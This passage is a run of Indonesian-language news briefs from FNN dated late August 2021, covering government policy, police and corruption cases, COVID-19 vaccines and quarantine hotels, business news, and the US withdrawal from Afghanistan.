sejak 2015 dalam penyediaan, pemanfaatan dan pengembangan statistik dalam bidang PANRB. Tjahjo berharap dengan keberlanjutan kerja sama tersebut pembuatan kebijakan oleh Kemenpan RB menjadi lebih terarah, sesuai, gesit dan eksperimental. (sws)

Tjahjo Kumolo Sambut Baik Kerja Sama dengan BPS

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) Tjahjo Kumolo menyambut baik kerja sama dengan Badan Pusat Statistik (BPS) dalam hal penyediaan, pemanfaatan dan pengembangan statistik bidang PANRB. "Melihat krusialnya peran data dalam pengambilan keputusan dan mencapai visi Pemerintah, kami menyambut baik perpanjangan kerja sama antara Kemenpan RB dan BPS," kata Tjahjo di acara Penandatanganan Nota Kesepahaman secara virtual dari Jakarta, Selasa. Dengan perpanjangan kerja sama yang telah dilakukan Kemenpan RB dan BPS sejak 2015 itu, Tjahjo berharap pembuatan kebijakan dalam bidang PANRB tersebut menjadi lebih baik di empat hal. "Pertama, lebih terarah dengan perhatian yang terarah secara tepat dan efisien. Kedua, lebih disesuaikan sehingga tanggapan sesuai dengan kebutuhan yang berbeda," ucap Tjahjo menjelaskan. Ketiga, dia berharap kerja sama tersebut menjadikan pembuatan kebijakan di reformasi birokrasi menjadi lebih gesit dengan kemampuan menyesuaikan diri dengan cepat terhadap perubahan keadaan. "Keempat, lebih eksperimental dengan pengujian waktu nyata tentang bagaimana masalah merespon berbagai strategi," tukasnya. Selain itu, Tjahjo mengatakan, kerja sama tersebut dapat menjadi sarana pertukaran teknologi dan pengetahuan, khususnya dalam pengelolaan data statistik. "Secara lebih lanjut, pengumpulan, analisa dan penyebaran data dapat memberikan dukungan pengambilan kebijakan dengan tepat," ujarnya. Penandatanganan Nota Kesepahaman tersebut dilakukan oleh Tjahjo Kumolo dan Kepala BPS Margo Yuwono secara virtual dengan menggunakan digital signature. (sws)

Polisi Buru Pelaku Teror Bom Palsu di Pematangsiantar

Medan, FNN - Pihak kepolisian masih menyelidiki pemilik tas mencurigakan yang bertuliskan "awas bom" yang ditemukan warga di sebuah tiang di Jalan Gunung Simanuk-Manuk, Pematangsiantar, Sumatera Utara, beberapa waktu lalu. "Kami cari pelaku teror bom ini, meskipun isi tas tersebut bukan bom," kata Kepala Polres Pematangsiantar, AKBP Boy Sutan Binanga, Selasa. Ia menyebut, mereka bersama TNI setempat sedang mengumpulkan informasi dan memeriksa sejumlah saksi untuk mencari pelaku teror bom palsu itu. "Kami sudah memintai keterangan sejumlah saksi terkait sejak jam berapa tas tersebut berada di lokasi," ujarnya. Ia berharap peristiwa seperti ini tidak terulang kembali karena dapat mengganggu aktifitas dan kenyamanan masyarakat di Pematangsiantar. Sebelumnya, sebuah tas mencurigakan bertuliskan "awas bom" ditemukan warga di tiang di Jalan Gunung Simanuk-Manuk, Kota Pematangsiantar, Senin (30/8). Setelah dilakukan pemeriksaan oleh tim penjinak bahan peledak Polda Sumatera Utara, tas itu ternyata berisi sebongkah batu besar. (sws)

Polisi Periksa Lima Saksi Kasus Pemerasan Pejabat Pemkot Solo

Solo, FNN - Tim Penyidik Satuan Reskrim Polres Kota Surakarta, Jawa Tengah telah memeriksa lima saksi termasuk dua saksi korban yang melaporkan terkait kasus pemerasan pejabat di lingkungan pemerintah kota setempat. Tim penyidik sudah meminta keterangan lima saksi termasuk dua saksi korban yang melaporkan ke kepolisian, kata Kepala Polresta Surakarta Kombes Pol Ade Safri Simanjutak di Markas Polresta Surakarta, di Solo, Selasa. Menurut Kapolres termasuk saksi korban pejabat Pemkot Surakarta, yakni Tm, dan Selasa ini, ada satu lagi pejabat dari Pemkot Surakarta, Hw, hadir untuk melaporkan kejadian serupa yang menimpa dirinya terkait dengan kasus pemerasan dengan tersangka AS (40) warga Pasar Kliwon Solo. "Kami sedang melakukan proses lidik dan sidik terhadap korban kasus pemerasan pejabat di Pemkot Surakarta. Ada dua pejabat Pemkot Surakarta yang sudah melaporkan kasus ini. Kami akan melakukan penegakan hukum secara profesional akuntabel. Tersangka kasus pemerasan yakni AS, warga Pasar Kliwon, juga sudah dilakukan pemeriksaan di Mapolresta Surakarta," kata Kapolres. Kendati demikian, Kapolres mengingatkan masyarakat agar kasus tidak terulang lagi, mereka tidak langsung percaya terhadap orang-orang yang mengatasnamakan dekat dengan seseorang atau pejabat tertentu. "Jangan langsung percaya, tetapi mari dihimpun untuk mengklarifikasi terlebih dahulu, terkait dengan orang yang dimaksud. Karena, hal ini, sudah sering sekali banyak yang menyasar para pejabat di pemerintahan dan ujungnya untuk meminta sejumlah uang," kata Kapolres. Menurut Kapolres lebih parahnya lagi hal tersebut menjadi modus tersangka untuk melakukan pemerasan kepada pejabat. Hal ini, yang diimbau agar semua pejabat tidak mudah percaya, klarifikasi dahulu. Apabila masih juga ragu silahkan menghubungi kepolisian terdekat akan membantu melacak orang hendak melakukan pemerasan atau meminta pejabat tertentu imbalan uang. "Polri siap mendukung itu, kami berharap tidak satupun orang melakukan pemerasan atau mengganggu kinerja pemerintahan dalam melaksanakan tugas pokok fungsinya," kata Kapolres. Sebelumnya, Tim Jatanras Polda Jawa Tengah mengungkap kasus pemerasan pejabat di lingkungan Pemerintah Kota Surakarta dengan menangkap seorang pelaku di sebuah indekos belakang Rumah Sakit (RS) Dr Oen Kandang Sapi Solo, Minggu (29/8). Menurut Kepala Subdit 3 Jatanras Polda Jawa AKBP Agus Puryadi pihaknya menangkap pelaku kasus pemerasan berinisial AS (40), warga Pasar Kliwon Solo, yang dibekuk di indekosnya dan kini ditahan di Mapolresta Surakarta untuk diproses hukum. Agus Puryadi mengatakan kasus tersebut berawal adanya laporan dari salah seorang kepala dinas di lingkungan Pemkot Surakarta berinisial Tm yang melaporkan kepada kepolisian bahwa dirinya diperas seorang berinisial AS. Pelaku mengaku orang dekat mantan pejabat di Pemkot Surakarta kemudian meminta sejumlah uang kepada korban yang katanya untuk biaya rumah sakit dan lain sebagainya. Hal ini dilakukan tersangka sejak bulan Juli 2021 hingga lima kali ditransfer uang sebesar Rp60 juta. Dari hasil pengakuan pelaku, ternyata tidak hanya Tm yang menjadi korban pemerasan, namun ada dua pejabat lain di lingkungan Pemkot Surakarta diperas pelaku yakni Ts dan Hw. Menurut dia, dua pejabat lain yang menjadi korban tersebut seprti Hw menyerahkan uang kepada pelaku senilai Rp2,5 juta dan Ts menyerahkan uang Rp250 ribu kepada tersangka. Semua dikirim via rekening milik adik AS kemudian baru dikirim ke rekeningnya. (sws)

Menkes Jepang: Kontaminasi Vaksin Moderna Mungkin dari Jarum Suntik

Tokyo, FNN - Menteri Kesehatan Jepang Norihisa Tamura pada Selasa mengatakan bahwa sangat mungkin benda asing yang ditemukan pada vaksin COVID-19 Moderna di prefektur Okinawa disebabkan ketika jarum terjebak ke dalam ampul. Sejumlah vaksin Moderna di Okinawa dihentikan penggunaannya untuk sementara pada Minggu setelah benda asing ditemukan di dalam ampul dan suntikan. Kementerian Kesehatan lantas mengatakan jarum suntik kemungkinan salah dimasukkan ke dalam ampul sehingga merobek sumbat karet. "Apapun alasannya (untuk benda asing) kami telah mendengar bahwa tidak ada masalah keamanan atau masalah lainnya," kata Tamura kepada awak media, menambahkan bahwa tidak jarang vaksin lain mengalami hal serupa. "Kami akan terus mengumpulkan informasi dan melaporkannya kembali," lanjutnya. Jepang sedang menghadapi gelombang terbesar infeksi COVID-19 selama pandemi, yang didorong oleh varian Delta yang sangat menular. Upaya percepatan vaksinasi terhambat oleh penundaan impor vaksin dan temuan kontaminan di sejumlah dosis Moderna yang memicu penangguhan tiga kelompok vaksin pekan lalu. Menteri yang menangani kampanye vaksinasi Taro Kono pada Selasa mengaku ingin mempercepat pengiriman vaksin ke kota-kota yang terpaksa menghentikan pemesanan akibat kelangkaan. Pemerintah sedang mempertimbangkan kapan dan bagaimana memberikan dosis penguat yang mungkin diperlukan untuk menjaga imunitas terhadap virus. Namun, otoritas kini sedang berfokus untuk menyelesaikan dua dosis pertama bagi masyarakat, kata Kono kepada wartawan. (sws) Sumber: Reuters

Hotel Sahid Targetkan Pendapatan Tumbuh 51 Persen

Jakarta, FNN - Emiten perhotelan PT Hotel Sahid Jaya International Tbk menargetkan pendapatan perseroan pada akhir tahun ini tumbuh 51 persen dibandingkan akhir tahun lalu seiring dengan mulai pulihnya perekonomian nasional. "Pemulihan profitabilitas merupakan fokus utama bagi Sahid. Manajemen akan mempertahankan EBITDA di atas 33 persen. Kami berharap dapat mempertahankan growth trajectory saat ini dan menutup 2021 dengan pertumbuhan pendapatan 51 persen lebih kuat dibandingkan dengan periode 2020," kata Wakil Presiden Direktur Hotel Sahid Jaya Ratri S. Wakeling dalam keterangan di Jakarta, Selasa, 31 Agustus 2021. Ratri menyampaikan performa perseroan perlahan pulih selama semester pertama 2021. Pada kuartal kedua, rata-rata harga kamar hanya terpaut 13 persen dibandingkan periode yang sama tahun sebelumnya. Secara keseluruhan, pendapatan per jumlah kamar tersedia (RevPar) pada kuartal kedua 2021 mengalami kenaikan menjadi Rp 250.666 atau meningkat 63 persen, lebih tinggi dibandingkan era pra pandemi. "Dengan fondasi kuat yang akan kami bangun di 2021 dan dengan terjadinya pelonggaran pembatasan sosial, kami optimis pemulihan akan mulai terjadi di 2022. Kami percaya Sahid mampu bangkit. Kami akan segera beradaptasi dengan berbagai situasi dan tantangan baru sekaligus membangun ketangguhan bisnis melalui berbagai inovasi," ujar Ratri, sebagaimana dikutip dari Antara. Pandemi yang terjadi telah mempengaruhi banyak sektor dan menyebabkan ketidakpastian serta pasar yang bergejolak. Hal tersebut memicu perlambatan kinerja industri hotel dan pariwisata yang dapat terlihat pada rata-rata tingkat hunian yang turun signifikan. Pertumbuhan ekonomi Indonesia pada 2020 terkontraksi cukup dalam. Pada 2020, Indonesia mencatat penurunan PDB sebesar minus 2,07 persen yang sebagian besar disebabkan oleh Pembentukan Modal Tetap Bruto (PMTB). Pada 2020, Sahid hanya mencapai 33 persen dari target awal. Hal itu terjadi karena kondisi pandemi yang mempengaruhi tingkat permintaan maupun daya beli konsumen pada sektor pariwisata dan perhotelan. Jenjawab tantangan pandemi dan menghadapi kondisi kenormalan baru, emiten berkode saham SHID itu terus berupaya meningkatkan kinerja melalui beberapa terobosan baru. Misalnya, pemanfaatan peluang dengan meluncurkan serangkaian inovasi, produk dan layanan. "Pada Kuartal I sebelum pandemi, Sahid memiliki pertumbuhan kinerja yang cukup kuat. Walau pandemi masih berlangsung, kami optimis mampu bangkit dan akan segera beradaptasi dengan berbagai situasi dan tantangan baru sekaligus membangun ketangguhan bisnis melalui berbagai inovasi," kata Ratri. Pada semester dua 2021, perseroan akan luncurkan empat inisiatif utama yang meliputi outdoor atau rooftop private event space (Rimbun), penyediaan ruang bagi content creators (Creators Hub), hunian co-living (Ikigai Residence), dan RR Chocolate yang merupakan destinasi kulinari luxury chocolate terbaru di Jakarta. "Dalam melakukan perbaikan, perseroan akan berfokus pada peningkatan kualitas aset berkelanjutan. Selama 18 bulan terakhir, kami melanjutkan program upgrade dan renovasi aset. Ini termasuk renovasi 140 kamar tamu superior, renovasi grand ballroom Puri Agung kami dengan interior dan fasilitas yang baru, serta melakukan renovasi kafe teras kami Arkopilago," ujar Ratri. MD).

Kota Tua Ingin Kemas Paket Wisata Hingga ke Pulau Seribu

Jakarta, FNN - Yayasan Kota Tua Jakarta ingin mengemas paket wisata tematik di kawasan tersebut hingga di Pulau Seribu karena potensial menggaet wisatawan setelah pandemi Covid-19 berakhir. "Saya rasa harus dijual dan dipersiapkan. Setelah pandemi, kami bisa luncurkan karena memiliki efek berganda (multiplier effect)," kata Ketua Yayasan Kota Tua, Firman Haris dalam diskusi JakreatiFest di Jakarta, Selasa, 31 Agustus 2021. Menurut dia, dari sisi sarana pendukung, sudah tersedia. Salah satunya di Batavia Marina yang dilayani sebuah perusahaan kapal wisata. Sedangkan di kawasan Kota Tua, lanjut dia, tidak hanya wisata sejarah di antaranya museum. Akan tetapi, juga memiliki daya tarik wisata lain seperti spiritual, wisata ziarah, wisata kuliner hingga edukasi dengan mengunjungi museum perbankan. "Kota Tua itu ada keunggulan wisata tematik seperti wisata sejarah, spiritual, wisata ziarah, kuliner bahkan wisata perbankan. Bank pertama di abad 18 itu ada di Kota Tua," ucapnya, sebagaimana dikutip dari Antara. Di Kota Tua, lanjut dia, ada Gereja Portugis tertua yang di dekat kawasan itu. Ada makam, salah satunya kuburan Gubernur Jenderal Hindia Belanda, Hendrick Zwaardecroon. Ia mengharapkan paket wisata itu menjadi daya tarik saat sejumlah destinasi Tanah Air mulai menyiapkan ancang-ancang menarik wisatawan saat pandemi usai. "Kami harus konsolidasi. Begitu pandemi usai, kami siap merebut pasar dengan syarat kesehatan. Yang perlu dipikirkan bagaimana menggabung menjadi paket. Kita perlu pemicu, paket wisata menginap di Kota Tua satu malam, apalagi di Kepulauan Seribu satu malam," ucapnya. Firman belum merinci data kunjungan wisatawan ke kawasan Kota Tua, khususnya pada masa pandemi kurang lebih jelang dua tahun terakhir. (MD).

Presiden Jokowi: Sinyal Pemulihan Ekonomi Global Sudah Sangat Terasa

Jakarta, FNN - Presiden Joko Widodo (Jokowi) mengatakan sinyal pemulihan ekonomi global sudah sangat terasa, yang terlihat dari perbaikan aktivitas industri manufaktur, menggeliatnya laju ekspor dan impor serta meningkatnya harga komoditas. “Sinyal pemulihan global sudah sangat terasa baik dari aktivitas manufaktur global yang tumbuh positif serta ekspor-impor yang mulai menggeliat,” kata Presiden Jokowi pada Kongres ISEI XXI dan Seminar Nasional 2021 yang digelar virtual di Jakarta, Selasa. Menurut Presiden Jokowi, tanda-tanda pemulihan ekonomi global juga didukung oleh proyeksi berbagai lembaga keuangan internasional yang menunjukkan bahwa Produk Domestik Bruto (PDB) global akan mengalami perbaikan pada akhir 2021 dan 2022. Misalnya Dana Moneter Internasional (International Monetary Fund/MF), yang menurut Presiden, telah memprediksi pertumbuhan ekonomi global akan mencapai 6,0 persen pada 2021 dan 4,9 persen pada 2022. Ia mengatakan pertumbuhan ekonomi Indonesia juga terus menunjukkan perbaikan, karena kebijakan yang diambil pemerintah selalu menyeimbangkan antara kepentingan aspek kesehatan dan ekonomi. Selain itu, upaya berbagai beban (pain sharing) antara otoritas fiskal dan moneter juga berkontribusi untuk memulihkan ekonomi. Pada kuartal II 2021 ekonomi Indonesia dapat bertumbuh hingga 7,07 persen secara tahunan (year on year/yoy). “Kita bersyukur berkat sinergi berbagai pihak untuk pain sharing baik kebijakan fiskal dan moneter, serta menjaga keseimbangan rem dan gas antara ekonomi dan kesehatan,” ujar Presiden Jokowi. Selain pertumbuhan ekonomi sebesar 7,07 persen (yoy) di kuartal II 2021, Presiden Jokowi menyebut laju inflasi nasional yang sebesar 1,5 persen (yoy) per Juli 2021 juga masih terkendali. Sementara pertumbuhan ekspor berhasil melompat ke 31,8 persen, dan konsumsi masyarakat bertumbuh 5,9 persen di kuartal II 2021. “Investasi tumbuh sangat baik 7,5 persen, indeks kepercayaan pemerintah juga naik dari 97,6 menjadi 115,6,” ujar Presiden Jokowi. (mth)

Wamenkeu Ingatkan Kebijakan Kemenkeu Harus Berbasis Data

Jakarta, FNN - Wakil Menteri Keuangan (Wamenkeu) Suahasil Nazara mengingatkan kepada seluruh jajarannya bahwa kebijakan Kementerian Keuangan (Kemenkeu) harus berbasis data dan analitis yang benar. “Kita terus menggaungkan perlunya kita melakukan analisis dan memikirkan apa yang bisa kita tarik dari data,” kata Wamenkeu Suahasil dalam Executive Webinar Hackathon Kementerian Keuangan 2021 di Jakarta, Selasa. Wamenkeu Suahasil mengatakan Kemenkeu memiliki tumpukan data yang luar biasa yang harus dianalisis terlebih dahulu sebelum menjadi dasar atas pemikiran-pemikiran dalam membentuk suatu kebijakan. Sebagai contoh, setiap hari Direktorat Jenderal Pajak (DJP) mendapat banyak data dari Wajib Pajak (WP) mengenai kewajiban perpajakan mereka yang harus dianalisis sebelum mengeluarkan kebijakan baru. Hal sama turut terjadi pada Direktorat Jenderal Bea dan Cukai (DJBC), setiap hari juga mendapat rekaman data terkait ekspor dan impor yang dapat dianalisis untuk mengetahui situasi terkini. “Di Kemenkeu kita duduk di atas tumpukan data yang luar biasa. Kita harus menggunakan data itu untuk mendasari pemikiran-pemikiran kita. Harus berbasiskan data,” ujar Wamenkeu Suahasil. Ia menegaskan jajaran Kemenkeu tidak boleh membuat kebijakan berdasarkan perasaan, insting, bahkan kata orang lain atau gosip melainkan berdasarkan ilmu, wawasan, analisis, dan data. Menurutnya, melalui analisis terhadap data maka kebijakan yang tercipta akan sesuai dengan situasi terkini dan kebutuhan masyarakat serta bermanfaat bagi masa-masa yang akan datang. Ia pun mengingatkan jajaran Kemenkeu untuk selalu mendukung dan melengkapi kebutuhan-kebutuhan dalam menciptakan data yang baik seperti program, server, hingga software. “Ini tolong kita meyakini role kita. Kita harus melakukan data analitis karena data kita sangat besar. Jangan lupakan tujuan ujungnya yaitu membentuk kebijakan berbasis data,” kata Wamenkeu Suahasil. (mth)

Belum Bayar Insentif Tenaga Kesehatan, Mendagri Tegur 10 Kepala Daerah

Jakarta, FNN - Menteri Dalam Negeri, Tito Karnavian menegur 10 bupati-wali kota yang masih belum membayar insentif tenaga kesehatan. Staf Khusus Mendagri, Kastorius Sinaga dalam keterangannya lewat pesan elektronik di Jakarta, Selasa (31/8) mengatakan, realisasi pos belanja insentif tenaga kerja kesehatan daerah (Innakesda) merupakan salah satu fokus perhatian Tito di dalam memonitor realisasi belanja APBD. "Kebijakan refocusing APBD 2021 telah menggariskan bahwa delapan persen dana alokasi umum (DAU) dan DBH (dana bagi hasil) tahun anggaran 2021 diperuntukkan guna penanganan Covid-19, termasuk pembayaran insentif nakes daerah" kata dia. Artinya, lanjut Kastorius Sinaga faktor ketersediaan dana seharusnya terjamin untuk Innakesda. Akan tetapi, hasil pemantauan rutin Kemendagri, yang datanya telah cek kembali ke data Kemenkeu dan Kemenkes, masih terdapat banyak daerah yang belum membayarkan innakesda. Bahkan, di beberapa daerah yang termasuk PPKM level 4, yang penyebaran Covid-19 masuk zona merah, insentif para nakes belum direalisasikan oleh kepala daerah. "Mendagri sangat memberi perhatian kepada nakes karena merekalah salah satu 'front liner' penanganan COVID-19 di daerah," ucapnya. OLeh karena itu, pada 30 Agustus 2021, Mendagri Tito Karnavian telah menanda-tangani surat teguran kepada 10 kepala daerah (bupati dan wali kota) yang belum membayarkan insentif kepada nakes di daerahnya. "Hari ini surat teguran Menteri bernomor 904 tertanggal 26 Agustus 2021 akan langsung dilayangkan ke 10 bupati dan wali kota yang belum membayarkan innakesdanya," ujarnya, sebagaimana dikutip dari Antara. Sepuluh kepala daerah yang ditegur itu; Wali Kota Padang, Bupati Nabire, Wali Kota Bandar Lampung, Bupati Madiun, Wali Kota Pontianak, Bupati Penajem Paser Utara, Bupati Gianyar, Wali Kota Langsa, Wali Kota Prabumulih, dan Bupati Paser. Dalam surat teguran yang ditembuskan ke presiden tersebut, Mendagri meminta para kepala daerah tersebut untuk segera membayarkan innakesda. Jika daerah belum melakukan refocusing anggaran sebagai sumber belanja innakesda, kepala daerah dapat melakukan perubahan peraturan kepala daerah (Perkada) dengan memberitahukan kepada pimpinan DPRD sehingga pembayaran innakesda tidak terhambat. Kemendagri sangat serius mengawasi realisasi belanja anggaran oleh pemerintah daerah di seluruh Indonesia. Bahkan, secara langsung, Mendagri memerintahkan jajaran eselon 1 Kemendagri, utamanya Inspektorat Jenderal dan Dirjen Keuangan Daerah melakukan monitoring mingguan realisasi APBD. Monitoring mingguan realisasi dari 548 pemerintah daerah seluruh Indonesia itu berkaitan dengan faktor pengungkit pemulihan ekonomi di daerah serta penanganan Covid-19 di daerah. (MD).

Karantina di Hotel Bintang 4, Seminggu Mulai Rp 7,5 Juta

Jakarta, FNN - Hotel bintang empat Sari Pacific Jakarta menyediakan kamar untuk karantina mandiri WNA dan WNI yang baru tiba di Indonesia dengan kisaran biaya mulai Rp7,5 juta per orang. "Nantinya tamu yang karantina akan dijemput langsung di bandara oleh tim khusus dari hotel untuk selanjutnya diantarkan ke hotel dan melakukan check in," kata Public Relations Officer Sari Pacific Jakarta, Dina Servita Agustina, kepada ANTARA, Selasa. Setiap orang yang telah melakukan perjalanan dari luar negeri diwajibkan karantina selama tujuh hari, kecuali orang yang datang dari India yang diwajibkan karantina 14 hari, di hotel yang sudah ditunjuk. Sejumlah hotel yang terdaftar di dalam Persatuan Hotel dan Restoran Indonesia (PHRI) tercatat sebagai hotel repatriasi di mana tarifnya dipatok berdasarkan klasifikasi bintang. Dina menjelaskan, kamar-kamar yang disiapkan untuk karantina adalah kamar Deluxe Room dan Pacific. Lobi hotel telah dimodifikasi agar tamu karantina dan tamu biasa melewati jalan yang berbeda. Pihak hotel memasang koridor yang mengarahkan tamu karantina ke elevator yang dipakai eksklusif oleh tamu karantina. Dia mengatakan, hotel tersebut jadi salah satu hotel repatriasi per 2 Agustus 2021 setelah melewati proses berbulan-bulan. Salah satu syarat jadi hotel repatriasi adalah menjadi anggota PHRI serta punya sertifikat CHSE (Clean, Health, Safety, and Environment) yang dikeluarkan Kementerian Pariwisata dan Ekonomi Kreatif. Nilai CHSE harus 90 atau memuaskan. Tamu karantina akan diminta melakukan tes usap PCR pada hari pertama, juga sehari sebelum check out. Bila terbukti negatif pada hari pertama, tamu dipersilakan karantina selama sepekan. Bila hasilnya positif, akan ada koordinasi dengan Satgas COVID-19 untuk penanganan lebih lanjut. Dina menjelaskan, di hotel tersebut tamu yang menginap selama karantina mendapatkan makan tiga kali sehari. Menunya dipesan secara daring di hotel. Tamu tidak diizinkan memesan makanan sendiri dari luar hotel. Fasilitas lainnya adalah laundry maksimal 5 potong pakaian per hari untuk setiap tamu. Pelayanan untuk hiburan seperti televisi dan internet juga tersedia untuk mengusir kebosanan. Dia mengatakan, semua tamu repatriasi yang menginap akan dibuat nyaman dengan pelayanan dan juga informasi yang lengkap karena mereka menyediakan kamar khusus di setiap lantai untuk tenaga kesehatan yang sudah ditunjuk satgas COVID-19. Sejauh ini, tamu WNA dan WNI sudah berdatangan untuk karantina di hotelnya, lanjutnya. Koordinator Hotel Repatriasi Persatuan Hotel dan Restoran Indonesia (PHRI) Vivi Herlambang menjelaskan terdapat 64 hotel yang telah ditunjuk pemerintah sebagai hotel repatriasi atau hotel yang digunakan untuk karantina WNA dan WNI dari luar negeri. Hotel repatriasi digunakan untuk karantina WNA dan WNI dari luar negeri dengan hasil tes COVID-19 negatif. Tamu WNA dan WNI yang hasil tes usap positif akan dibawa ke hotel khusus yang digunakan untuk isolasi. (mth)

Semua Tentara Amerika Serikat Telah Ditarik Dari Afghaninstan

Kabul, FNN - Amerika Serikat menyelesaikan penarikan tentaranya dari Afghanistan, Senin (30/8). Hal itu mengakhiri perang selama 20 tahun yang berujung pada kembalinya Taliban ke puncak kekuasaan di negara tersebut. AS dan sekutunya di NATO (North Atlantic Treaty Organization/Pakta Pertahanan Atlantik Utara) dipaksa keluar dengan tergesa-gesa. Proses evakuasi berlangsung kacau. Mereka meninggalkan ribuan warga Afghanistan yang pernah membantu dan layak dievakuasi. Taliban merayakan kepergian tentara AS dengan tembakan di Kabul. "Tentara AS terakhir telah meninggalkan bandara Kabul dan negara kami memperoleh kemerdekaan penuh," kata juru bicara Taliban, Qari Yusuf kepada Al Jazeera TV. Presiden AS Joe Biden menyatakan dunia akan memegang janji Taliban menjamin keselamatan mereka yang ingin meninggalkan Afghanistan. “Sekarang, kehadiran militer kami selama 20 tahun di Afghanistan telah berakhir,” kata Biden. Biden berterima kasih kepada militer AS karena telah melakukan misi evakuasi yang berbahaya. Dia berencana menyampaikan pidato pada rakyat Amerika pada Selasa sore. Operasi itu selesai sebelum batas waktu Selasa yang ditetapkan oleh Biden. Keputusan menarik semua pasukan pada 31 Agustus 2021 telah menuai kritik tajam dari berbagai pihak atas penanganan Afghanistan sejak Taliban mengambil alih Kabul awal bulan ini. Jenderal Frank McKenzie, Kepala Komando Pusat AS, mengatakan kepada Pentagon, kepala diplomat AS di Afghanistan, Ross Wilson, berada dalam pesawat C-17 terakhir. “Setiap anggota tentara AS sekarang keluar dari Afghanistan. Saya dapat mengatakan itu dengan kepastian 100 persen,” katanya. Dua pejabat AS mengatakan staf diplomatik "inti" termasuk di antara 6.000 orang Amerika yang kembali. McKenzie menjelaskan, penerbangan terakhir tidak menyertakan 250 warga Amerika yang ingin pergi namun tidak bisa mencapai bandara. "Ada banyak kesedihan terkait dengan kepergian ini. Kami tidak membawa semua orang yang ingin kami keluarkan. Akan tetapi saya pikir jika kami bertahan 10 hari lagi pun, kami tidak akan bisa mengeluarkan semua orang," kata McKenzie kepada wartawan. Evakuasi berbahaya Lebih dari 122.000 orang telah diterbangkan keluar dari Kabul sejak 14 Agustus 2021. Sehari kemudian, Taliban merebut kembali kekuasaan sejak dua dekade lalu ketika digulingkan oleh invasi pasukan asing pimpinan AS. Batas waktu Selasa untuk penarikan tentara ditetapkan oleh Biden. Pendahulunya, Donald Trump ​​​​​, telah bersepakat dengan Taliban untuk mengakhiri keterlibatan AS di Afghanistan. Biden mengatakan AS telah lama mencapai target menggulingkan Taliban pada 2001 karena menyembunyikan gerilyawan Al Qaida yang mendalangi serangan 11 September 2001, New York, di AS. AS dan sekutunya bergegas menyelamatkan warga negara mereka. Juga menyelamatkan warga setempat yang menjadi penerjemah, staf kedutaan lokal, aktivis hak-hak sipil, jurnalis, dan warga lain yang berisiko mendapat pembalasan dari Taliban. Evakuasi menjadi lebih berbahaya ketika terjadi serangan bom bunuh diri yang diakui dilakukan oleh ISIS. Peristiwa tersebut menewaskan 60 orang, termasuk 13 tentara AS. Bom meledak ketika warga Afghanistan sedang menunggu di gerbang bandara Kabul, Kamis, 26 Agustus 2021. Setelah serangan berdarah di bandara Kabul itu, Biden berjanji memburu mereka yang bertanggung jawab. Penerbangan terakhir bisa dilakukan setelah sistem pertahanan anti-rudal AS mencegat lima roket yang ditembakkan ke bandara Kabul. Seorang pejabat AS mengatakan, laporan awal tidak menunjukkan adanya korban AS dari roket yang ditembakkan itu. (MD).

Uber Usulkan Model Tunjangan Pengemudi Online di Kanada

Jakarta, FNN - Uber mengusulkan pemetaan rencana flexible benefits atau dana tunjangan untuk pengemudi dan kurir makanan berbasis aplikasi di Kanada. Melalui tulisan di blog perusahaan, Senin (30/8), Uber mengajukan proposal awal yang memaparkan rencana agar semua pemain industri berbasis aplikasi dapat berbagi data tentang jam kerja dan penghasilan pekerja sehingga pembayaran tunjangan akan diberikan secara proporsional. Pekerja dapat menggunakan dana tersebut untuk berbagai tujuan, termasuk untuk dimasukkan ke dalam rencana pensiun atau untuk membayar tunjangan pendidikan dan kesehatan yang tidak tercakup oleh sistem perawatan kesehatan universal di Kanada. Masih dalam keterangan tertulis di blog perusahaan, Uber mengatakan dana manfaat akan diaktifkan oleh pemerintah provinsi Kanada, tetapi dikelola oleh perusahaan. Sebelumnya pada Maret lalu, Uber juga mengatakan melalui blog resminya bahwa reformasi di seluruh industri perlu dilakukan agar setiap perusahaan memiliki standar yang sama. Mengutip laporan Reuters, Selasa, Uber dalam sebuah pernyataan mengatakan pihaknya menyambut baik diskusi dengan pemain industri lainnya. Menurut perusahaan, dana manfaat adalah bagian dari usulan pemerintah Ontario baru-baru ini. Aplikasi layanan pesan-antar lainnya di Kanada seperti DoorDash mengatakan perusahaan menyambut baik kepada pihak yang ingin memberikan tunjangan serta manfaat kepada pekerja sambil mempertahankan fleksibilitas, tetapi tidak secara langsung mengomentari rencana Uber. Sementara Lyft, Grubhub, dan Just Eat Takeaway belum menanggapi lebih lanjut. Uber mengatakan mereka telah mengadvokasi dana tunjangan di berbagai tempat, namun hal tersebut bergantung pada perbedaan pendekatan di setiap negara, seperti perbedaan undang-undang perburuhan, jaring pengaman sosial, dan budaya. Perusahaan aplikasi pesan-antar telah lama dikritik karena minim penawaran tunjangan serta manfaat lain untuk pengemudi dan kurir yang tidak terikat kontrak. Serikat pekerja, anggota parlemen, dan pemerintahan Joe Biden telah mengatakan pengemudi dan kurir harus diklasifikasi ulang statusnya sebagai karyawan. Beberapa perusahaan juga pernah menghadapi beberapa tuntutan hukum di Kanada dan Amerika Serikat yang atas tuduhan kesalahan klasifikasi pekerja. (mth)

KPK Tahan Bupati Purbolinggo dan Suaminya

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menahan lima tersangka kasus dugaan suap terkait seleksi jabatan kepala desa di lingkungan Pemerintah Kabupaten Probolinggo, Jawa Timur, tahun 2021. "Para tersangka dilakukan penahanan rutan selama 20 hari pertama, terhitung sejak tanggal 31 Agustus 2021 sampai dengan 19 September 2021," kata Wakil Ketua KPK Alexander Marwata saat jumpa pers di Gedung KPK, Jakarta, Selasa dini hari, 31 Agustus 2021. Lima tersangka, yaitu Bupati Probolinggo Puput Tantriana Sari (PTS) ditahan di Rutan KPK pada Gedung Merah Putih KPK, Anggota DPR RI Hasan Aminuddin (HA) yang juga suami Puput ditahan di Rutan KPK pada Kavling C1 (Gedung Pusat Edukasi Antikorupsi KPK). Selanjutnya, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo ditahan di Rutan Polres Jakarta Pusat, Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo ditahan di Rutan Polres Jakarta Selatan. Sumarto (SO) selaku ASN/Pejabat Kepala Desa Karangren, Kecamatan Krejengan, Kabupaten Probolinggo ditahan di Rutan KPK pada Pomdam Jaya Guntur. "Sebagai pemenuhan protokol kesehatan untuk mencegah penyebaran wabah Covid-19, para tersangka akan dilakukan isolasi mandiri pada rutan masing-masing," kata Alex, sebagaimana dikutip dari Antara. Diketahui, KPK menetapkan 22 orang sebagai tersangka. Sebagai 